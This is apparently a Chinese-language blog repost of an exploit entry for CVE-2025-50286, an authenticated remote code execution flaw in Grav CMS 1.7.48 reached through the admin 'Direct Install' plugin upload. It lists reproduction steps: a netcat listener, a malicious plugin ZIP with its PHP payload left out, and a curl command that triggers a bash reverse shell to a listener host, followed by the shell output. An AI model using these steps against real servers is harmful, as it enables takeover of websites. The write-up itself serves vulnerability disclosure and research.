Grav CMS 1.7.48远程代码执行漏洞分析与利用

本文详细分析了Grav CMS 1.7.48版本中存在的远程代码执行漏洞,通过管理员面板的"Direct Install"功能上传恶意插件实现代码执行,包含完整的漏洞复现步骤和技术细节。

漏洞标题:Grav CMS 1.7.48 - 远程代码执行(RCE)

日期:2025-08-07

漏洞作者:binneko (https://github.com/binneko)

厂商主页:https://getgrav.org/

软件链接:https://github.com/getgrav/grav/releases/tag/1.7.48

版本:Grav CMS v1.7.48 / Admin Plugin v1.10.48

测试环境:Debian 11, Apache2, PHP 7.4

CVE:CVE-2025-50286

漏洞描述:

Grav CMS v1.7.48与Admin Plugin v1.10.48存在认证远程代码执行(RCE)漏洞。 通过管理员面板中的"Direct Install"功能,认证的管理员可以上传包含任意PHP代码的恶意插件, 这些代码在访问时会被服务器执行。

复现步骤:

  1. 在攻击机器上启动监听器: nc -lvnp 4444

  2. 以管理员身份登录Grav管理面板: https://<目标>/admin

  3. 导航至: 工具 → Direct Install

  4. 上传包含以下结构的ZIP压缩包:

    evilplugin/ ├── evilplugin.php # 包含: └── blueprints.yaml # 最小化内容以通过插件验证

  5. 访问已上传插件的端点并触发payload:

    curl –get –data-urlencode “cmd=bash -c ‘bash -i >& /dev/tcp/host.docker.internal/4444 0>&1’” http://<目标>/

  6. 观察反向shell:

    $ nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on <目标IP> www-data@target:/var/www/html$ whoami www-data

注意事项:

  • 需要认证(管理员权限)
  • 漏洞存在于插件上传功能(/admin/tools/direct-install)中的验证不足
  • 成功利用可能导致系统完全沦陷

参考链接:

免责声明:

本漏洞利用仅用于教育和研究目的。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计